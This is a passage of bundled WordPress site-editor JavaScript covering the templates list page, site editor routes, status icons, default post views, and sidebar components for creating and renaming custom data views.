    defaultTaxonomiesMenuItems,
    taxonomiesMenuItems
  } = useTaxonomiesMenuItems(onClickMenuItem);
  const {
    defaultPostTypesMenuItems,
    postTypesMenuItems
  } = usePostTypeMenuItems(onClickMenuItem);
  const authorMenuItem = useAuthorMenuItem(onClickMenuItem);
  [...defaultTaxonomiesMenuItems, ...defaultPostTypesMenuItems, authorMenuItem].forEach(menuItem => {
    if (!menuItem) {
      return;
    }
    const matchIndex = enhancedMissingDefaultTemplateTypes.findIndex(template => template.slug === menuItem.slug);
    // Some default template types might have been filtered above from
    // `missingDefaultTemplates` because they only check for the general
    // template. So here we either replace or append the item, augmented
    // with the check if it has available specific item to create a
    // template for.
    if (matchIndex > -1) {
      enhancedMissingDefaultTemplateTypes[matchIndex] = menuItem;
    } else {
      enhancedMissingDefaultTemplateTypes.push(menuItem);
    }
  });
  // Update the sort order to match the DEFAULT_TEMPLATE_SLUGS order.
  enhancedMissingDefaultTemplateTypes?.sort((template1, template2) => {
    return DEFAULT_TEMPLATE_SLUGS.indexOf(template1.slug) - DEFAULT_TEMPLATE_SLUGS.indexOf(template2.slug);
  });
  const missingTemplates = [...enhancedMissingDefaultTemplateTypes, ...usePostTypeArchiveMenuItems(), ...postTypesMenuItems, ...taxonomiesMenuItems];
  return missingTemplates;
}
/* harmony default export */ const add_new_template = ((0,external_wp_element_namespaceObject.memo)(NewTemplate));

;// ./node_modules/@wordpress/edit-site/build-module/components/page-templates/fields.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */




const {
  useGlobalStyle: page_templates_fields_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function fields_PreviewField({
  item
}) {
  const settings = usePatternSettings();
  const [backgroundColor = 'white'] = page_templates_fields_useGlobalStyle('color.background');
  const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return (0,external_wp_blocks_namespaceObject.parse)(item.content.raw);
  }, [item.content.raw]);
  const isEmpty = !blocks?.length;
  // Wrap everything in a block editor provider to ensure 'styles' that are needed
  // for the previews are synced between the site editor store and the block editor store.
  // Additionally we need to have the `__experimentalBlockPatterns` setting in order to
  // render patterns inside the previews.
  // TODO: Same approach is used in the patterns list and it becomes obvious that some of
  // the block editor settings are needed in context where we don't have the block editor.
  // Explore how we can solve this in a better way.
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.EditorProvider, {
    post: item,
    settings: settings,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "page-templates-preview-field",
      style: {
        backgroundColor
      },
      children: [isEmpty && (0,external_wp_i18n_namespaceObject.__)('Empty template'), !isEmpty && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview.Async, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview, {
          blocks: blocks
        })
      })]
    })
  });
}
const fields_previewField = {
  label: (0,external_wp_i18n_namespaceObject.__)('Preview'),
  id: 'preview',
  render: fields_PreviewField,
  enableSorting: false
};
const descriptionField = {
  label: (0,external_wp_i18n_namespaceObject.__)('Description'),
  id: 'description',
  render: ({
    item
  }) => {
    return item.description && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      className: "page-templates-description",
      children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.description)
    });
  },
  enableSorting: false,
  enableGlobalSearch: true
};
function fields_AuthorField({
  item
}) {
  const [isImageLoaded, setIsImageLoaded] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    text,
    icon,
    imageUrl
  } = useAddedBy(item.type, item.id);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    alignment: "left",
    spacing: 0,
    children: [imageUrl && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: dist_clsx('page-templates-author-field__avatar', {
        'is-loaded': isImageLoaded
      }),
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
        onLoad: () => setIsImageLoaded(true),
        alt: "",
        src: imageUrl
      })
    }), !imageUrl && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "page-templates-author-field__icon",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
        icon: icon
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      className: "page-templates-author-field__name",
      children: text
    })]
  });
}
const authorField = {
  label: (0,external_wp_i18n_namespaceObject.__)('Author'),
  id: 'author',
  getValue: ({
    item
  }) => item.author_text,
  render: fields_AuthorField
};

;// ./node_modules/@wordpress/edit-site/build-module/components/page-templates/index.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */








const {
  usePostActions: page_templates_usePostActions,
  templateTitleField
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
  useHistory: page_templates_useHistory,
  useLocation: page_templates_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const {
  useEntityRecordsWithPermissions
} = unlock(external_wp_coreData_namespaceObject.privateApis);
const page_templates_EMPTY_ARRAY = [];
const page_templates_defaultLayouts = {
  [LAYOUT_TABLE]: {
    showMedia: false,
    layout: {
      styles: {
        author: {
          width: '1%'
        }
      }
    }
  },
  [LAYOUT_GRID]: {
    showMedia: true
  },
  [LAYOUT_LIST]: {
    showMedia: false
  }
};
const page_templates_DEFAULT_VIEW = {
  type: LAYOUT_GRID,
  search: '',
  page: 1,
  perPage: 20,
  sort: {
    field: 'title',
    direction: 'asc'
  },
  titleField: 'title',
  descriptionField: 'description',
  mediaField: 'preview',
  fields: ['author'],
  filters: [],
  ...page_templates_defaultLayouts[LAYOUT_GRID]
};
function PageTemplates() {
  const {
    path,
    query
  } = page_templates_useLocation();
  const {
    activeView = 'all',
    layout,
    postId
  } = query;
  const [selection, setSelection] = (0,external_wp_element_namespaceObject.useState)([postId]);
  const defaultView = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const usedType = layout !== null && layout !== void 0 ? layout : page_templates_DEFAULT_VIEW.type;
    return {
      ...page_templates_DEFAULT_VIEW,
      type: usedType,
      filters: activeView !== 'all' ? [{
        field: 'author',
        operator: 'isAny',
        value: [activeView]
      }] : [],
      ...page_templates_defaultLayouts[usedType]
    };
  }, [layout, activeView]);
  const [view, setView] = (0,external_wp_element_namespaceObject.useState)(defaultView);

  // Sync the layout from the URL to the view state.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    setView(currentView => ({
      ...currentView,
      type: layout !== null && layout !== void 0 ? layout : page_templates_DEFAULT_VIEW.type
    }));
  }, [setView, layout]);

  // Sync the active view from the URL to the view state.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    setView(currentView => ({
      ...currentView,
      filters: activeView !== 'all' ? [{
        field: 'author',
        operator: OPERATOR_IS_ANY,
        value: [activeView]
      }] : []
    }));
  }, [setView, activeView]);
  const {
    records,
    isResolving: isLoadingData
  } = useEntityRecordsWithPermissions('postType', TEMPLATE_POST_TYPE, {
    per_page: -1
  });
  const history = page_templates_useHistory();
  const onChangeSelection = (0,external_wp_element_namespaceObject.useCallback)(items => {
    setSelection(items);
    if (view?.type === LAYOUT_LIST) {
      history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
        postId: items.length === 1 ? items[0] : undefined
      }));
    }
  }, [history, path, view?.type]);
  const authors = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!records) {
      return page_templates_EMPTY_ARRAY;
    }
    const authorsSet = new Set();
    records.forEach(template => {
      authorsSet.add(template.author_text);
    });
    return Array.from(authorsSet).map(author => ({
      value: author,
      label: author
    }));
  }, [records]);
  const fields = (0,external_wp_element_namespaceObject.useMemo)(() => [fields_previewField, templateTitleField, descriptionField, {
    ...authorField,
    elements: authors
  }], [authors]);
  const {
    data,
    paginationInfo
  } = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return filterSortAndPaginate(records, view, fields);
  }, [records, view, fields]);
  const postTypeActions = page_templates_usePostActions({
    postType: TEMPLATE_POST_TYPE,
    context: 'list'
  });
  const editAction = useEditPostAction();
  const actions = (0,external_wp_element_namespaceObject.useMemo)(() => [editAction, ...postTypeActions], [postTypeActions, editAction]);
  const onChangeView = (0,external_wp_compose_namespaceObject.useEvent)(newView => {
    setView(newView);
    if (newView.type !== layout) {
      history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
        layout: newView.type
      }));
    }
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Page, {
    className: "edit-site-page-templates",
    title: (0,external_wp_i18n_namespaceObject.__)('Templates'),
    actions: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_new_template, {}),
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViews, {
      paginationInfo: paginationInfo,
      fields: fields,
      actions: actions,
      data: data,
      isLoading: isLoadingData,
      view: view,
      onChangeView: onChangeView,
      onChangeSelection: onChangeSelection,
      isItemClickable: () => true,
      onClickItem: ({
        id
      }) => {
        history.navigate(`/wp_template/${id}?canvas=edit`);
      },
      selection: selection,
      defaultLayouts: page_templates_defaultLayouts
    }, activeView)
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/templates.js
/**
 * Internal dependencies
 */





const templatesRoute = {
  name: 'templates',
  path: '/template',
  areas: {
    sidebar({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenTemplatesBrowse, {
        backPath: "/"
      }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    },
    content({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PageTemplates, {}) : undefined;
    },
    preview({
      query,
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      if (!isBlockTheme) {
        return undefined;
      }
      const isListView = query.layout === 'list';
      return isListView ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : undefined;
    },
    mobile({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PageTemplates, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    }
  },
  widths: {
    content({
      query
    }) {
      const isListView = query.layout === 'list';
      return isListView ? 380 : undefined;
    }
  }
};

;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/template-item.js
/**
 * Internal dependencies
 */




const templateItemRoute = {
  name: 'template-item',
  path: '/wp_template/*postId',
  areas: {
    sidebar({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenTemplatesBrowse, {
        backPath: "/"
      }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    },
    mobile({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    },
    preview({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    }
  }
};

;// ./node_modules/@wordpress/icons/build-module/library/pages.js
/**
 * WordPress dependencies
 */


const pages = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M14.5 5.5h-7V7h7V5.5ZM7.5 9h7v1.5h-7V9Zm7 3.5h-7V14h7v-1.5Z"
  }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M16 2H6a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2ZM6 3.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H6a.5.5 0 0 1-.5-.5V4a.5.5 0 0 1 .5-.5Z"
  }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M20 8v11c0 .69-.31 1-.999 1H6v1.5h13.001c1.52 0 2.499-.982 2.499-2.5V8H20Z"
  })]
});
/* harmony default export */ const library_pages = (pages);

;// ./node_modules/@wordpress/icons/build-module/library/published.js
/**
 * WordPress dependencies
 */


const published = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm11.53-1.47-1.06-1.06L11 12.94l-1.47-1.47-1.06 1.06L11 15.06l4.53-4.53Z"
  })
});
/* harmony default export */ const library_published = (published);

;// ./node_modules/@wordpress/icons/build-module/library/scheduled.js
/**
 * WordPress dependencies
 */


const scheduled = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm9 1V8h-1.5v3.5h-2V13H13Z"
  })
});
/* harmony default export */ const library_scheduled = (scheduled);

;// ./node_modules/@wordpress/icons/build-module/library/drafts.js
/**
 * WordPress dependencies
 */


const drafts = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 0 4-4H8a4 4 0 0 0 4 4Z"
  })
});
/* harmony default export */ const library_drafts = (drafts);

;// ./node_modules/@wordpress/icons/build-module/library/pending.js
/**
 * WordPress dependencies
 */


const pending = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 1-4-4h4V8a4 4 0 0 1 0 8Z"
  })
});
/* harmony default export */ const library_pending = (pending);

;// ./node_modules/@wordpress/icons/build-module/library/not-allowed.js
/**
 * WordPress dependencies
 */


const notAllowed = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M12 18.5A6.5 6.5 0 0 1 6.93 7.931l9.139 9.138A6.473 6.473 0 0 1 12 18.5Zm5.123-2.498a6.5 6.5 0 0 0-9.124-9.124l9.124 9.124ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Z"
  })
});
/* harmony default export */ const not_allowed = (notAllowed);

;// ./node_modules/@wordpress/icons/build-module/library/trash.js
/**
 * WordPress dependencies
 */


const trash = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M12 5.5A2.25 2.25 0 0 0 9.878 7h4.244A2.251 2.251 0 0 0 12 5.5ZM12 4a3.751 3.751 0 0 0-3.675 3H5v1.5h1.27l.818 8.997a2.75 2.75 0 0 0 2.739 2.501h4.347a2.75 2.75 0 0 0 2.738-2.5L17.73 8.5H19V7h-3.325A3.751 3.751 0 0 0 12 4Zm4.224 4.5H7.776l.806 8.861a1.25 1.25 0 0 0 1.245 1.137h4.347a1.25 1.25 0 0 0 1.245-1.137l.805-8.861Z"
  })
});
/* harmony default export */ const library_trash = (trash);

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-dataviews/default-views.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */

const default_views_defaultLayouts = {
  [LAYOUT_TABLE]: {},
  [LAYOUT_GRID]: {},
  [LAYOUT_LIST]: {}
};
const DEFAULT_POST_BASE = {
  type: LAYOUT_LIST,
  search: '',
  filters: [],
  page: 1,
  perPage: 20,
  sort: {
    field: 'title',
    direction: 'asc'
  },
  showLevels: true,
  titleField: 'title',
  mediaField: 'featured_media',
  fields: ['author', 'status'],
  ...default_views_defaultLayouts[LAYOUT_LIST]
};
function useDefaultViews({
  postType
}) {
  const labels = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getPostType
    } = select(external_wp_coreData_namespaceObject.store);
    return getPostType(postType)?.labels;
  }, [postType]);
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    return [{
      title: labels?.all_items || (0,external_wp_i18n_namespaceObject.__)('All items'),
      slug: 'all',
      icon: library_pages,
      view: DEFAULT_POST_BASE
    }, {
      title: (0,external_wp_i18n_namespaceObject.__)('Published'),
      slug: 'published',
      icon: library_published,
      view: DEFAULT_POST_BASE,
      filters: [{
        field: 'status',
        operator: OPERATOR_IS_ANY,
        value: 'publish'
      }]
    }, {
      title: (0,external_wp_i18n_namespaceObject.__)('Scheduled'),
      slug: 'future',
      icon: library_scheduled,
      view: DEFAULT_POST_BASE,
      filters: [{
        field: 'status',
        operator: OPERATOR_IS_ANY,
        value: 'future'
      }]
    }, {
      title: (0,external_wp_i18n_namespaceObject.__)('Drafts'),
      slug: 'drafts',
      icon: library_drafts,
      view: DEFAULT_POST_BASE,
      filters: [{
        field: 'status',
        operator: OPERATOR_IS_ANY,
        value: 'draft'
      }]
    }, {
      title: (0,external_wp_i18n_namespaceObject.__)('Pending'),
      slug: 'pending',
      icon: library_pending,
      view: DEFAULT_POST_BASE,
      filters: [{
        field: 'status',
        operator: OPERATOR_IS_ANY,
        value: 'pending'
      }]
    }, {
      title: (0,external_wp_i18n_namespaceObject.__)('Private'),
      slug: 'private',
      icon: not_allowed,
      view: DEFAULT_POST_BASE,
      filters: [{
        field: 'status',
        operator: OPERATOR_IS_ANY,
        value: 'private'
      }]
    }, {
      title: (0,external_wp_i18n_namespaceObject.__)('Trash'),
      slug: 'trash',
      icon: library_trash,
      view: {
        ...DEFAULT_POST_BASE,
        type: LAYOUT_TABLE,
        layout: default_views_defaultLayouts[LAYOUT_TABLE].layout
      },
      filters: [{
        field: 'status',
        operator: OPERATOR_IS_ANY,
        value: 'trash'
      }]
    }];
  }, [labels]);
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-dataviews/dataview-item.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



const {
  useLocation: dataview_item_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function DataViewItem({
  title,
  slug,
  customViewId,
  type,
  icon,
  isActive,
  isCustom,
  suffix
}) {
  const {
    path
  } = dataview_item_useLocation();
  const iconToUse = icon || VIEW_LAYOUTS.find(v => v.type === type).icon;
  let activeView = isCustom ? customViewId : slug;
  if (activeView === 'all') {
    activeView = undefined;
  }
  const query = {
    layout: type,
    activeView,
    isCustom: isCustom ? 'true' : undefined
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    justify: "flex-start",
    className: dist_clsx('edit-site-sidebar-dataviews-dataview-item', {
      'is-selected': isActive
    }),
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
      icon: iconToUse,
      to: (0,external_wp_url_namespaceObject.addQueryArgs)(path, query),
      "aria-current": isActive ? 'true' : undefined,
      children: title
    }), suffix]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-dataviews/add-new-view.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */




const {
  useLocation: add_new_view_useLocation,
  useHistory: add_new_view_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
function AddNewItemModalContent({
  type,
  setIsAdding
}) {
  const history = add_new_view_useHistory();
  const {
    path
  } = add_new_view_useLocation();
  const {
    saveEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)('');
  const [isSaving, setIsSaving] = (0,external_wp_element_namespaceObject.useState)(false);
  const defaultViews = useDefaultViews({
    postType: type
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
    onSubmit: async event => {
      event.preventDefault();
      setIsSaving(true);
      const {
        getEntityRecords
      } = (0,external_wp_data_namespaceObject.resolveSelect)(external_wp_coreData_namespaceObject.store);
      let dataViewTaxonomyId;
      const dataViewTypeRecords = await getEntityRecords('taxonomy', 'wp_dataviews_type', {
        slug: type
      });
      if (dataViewTypeRecords && dataViewTypeRecords.length > 0) {
        dataViewTaxonomyId = dataViewTypeRecords[0].id;
      } else {
        const record = await saveEntityRecord('taxonomy', 'wp_dataviews_type', {
          name: type
        });
        if (record && record.id) {
          dataViewTaxonomyId = record.id;
        }
      }
      const savedRecord = await saveEntityRecord('postType', 'wp_dataviews', {
        title,
        status: 'publish',
        wp_dataviews_type: dataViewTaxonomyId,
        content: JSON.stringify(defaultViews[0].view)
      });
      history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
        activeView: savedRecord.id,
        isCustom: 'true'
      }));
      setIsSaving(false);
      setIsAdding(false);
    },
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: "5",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
        __next40pxDefaultSize: true,
        __nextHasNoMarginBottom: true,
        label: (0,external_wp_i18n_namespaceObject.__)('Name'),
        value: title,
        onChange: setTitle,
        placeholder: (0,external_wp_i18n_namespaceObject.__)('My view'),
        className: "patterns-create-modal__name-input"
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "right",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "tertiary",
          onClick: () => {
            setIsAdding(false);
          },
          children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "primary",
          type: "submit",
          "aria-disabled": !title || isSaving,
          isBusy: isSaving,
          children: (0,external_wp_i18n_namespaceObject.__)('Create')
        })]
      })]
    })
  });
}
function AddNewItem({
  type
}) {
  const [isAdding, setIsAdding] = (0,external_wp_element_namespaceObject.useState)(false);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
      icon: library_plus,
      onClick: () => {
        setIsAdding(true);
      },
      className: "dataviews__siderbar-content-add-new-item",
      children: (0,external_wp_i18n_namespaceObject.__)('New view')
    }), isAdding && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
      title: (0,external_wp_i18n_namespaceObject.__)('Add new view'),
      onRequestClose: () => {
        setIsAdding(false);
      },
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AddNewItemModalContent, {
        type: type,
        setIsAdding: setIsAdding
      })
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-dataviews/custom-dataviews-list.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */




const {
  useHistory: custom_dataviews_list_useHistory,
  useLocation: custom_dataviews_list_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const custom_dataviews_list_EMPTY_ARRAY = [];
function RenameItemModalContent({
  dataviewId,
  currentTitle,
  setIsRenaming
}) {
  const {
    editEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)(currentTitle);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
    onSubmit: async event => {
      event.preventDefault();
      await editEntityRecord('postType', 'wp_dataviews', dataviewId, {
        title
      });
      setIsRenaming(false);
    },
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: "5",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
        __next40pxDefaultSize: true,
        __nextHasNoMarginBottom: true,
        label: (0,external_wp_i18n_namespaceObject.__)('Name'),
        value: title,
        onChange: setTitle,
        placeholder: (0,external_wp_i18n_namespaceObject.__)('My view'),
        className: "patterns-create-modal__name-input"
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "right",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          variant: "tertiary",
          __next40pxDefaultSize: true,
          onClick: () => {
            setIsRenaming(false);
          },
          children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          variant: "primary",
          type: "submit",
          "aria-disabled": !title,
          __next40pxDefaultSize: true,
          children: (0,external_wp_i18n_namespaceObject.__)('Save')
        })]
      })]
    })
  });
}
function CustomDataViewItem({
  dataviewId,
  isActive
}) {
  const history = custom_dataviews_list_useHistory();
  const location = custom_dataviews_list_useLocation();
  const {
    dataview
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      dataview: getEditedEntityRecord('postType', 'wp_dataviews', dataviewId)
    };
  }, [dataviewId]);
  const {
    deleteEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const type = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const viewContent = JSON.parse(dataview.content);
    return viewContent.type;
  }, [dataview.content]);
  const [isRenaming, setIsRenaming] = (0,external_wp_element_namespaceObject.useState)(false);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewItem, {
      title: dataview.title,
      type: type,
      isActive: isActive,
      isCustom: true,
      customViewId: dataviewId,
      suffix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
        icon: more_vertical,
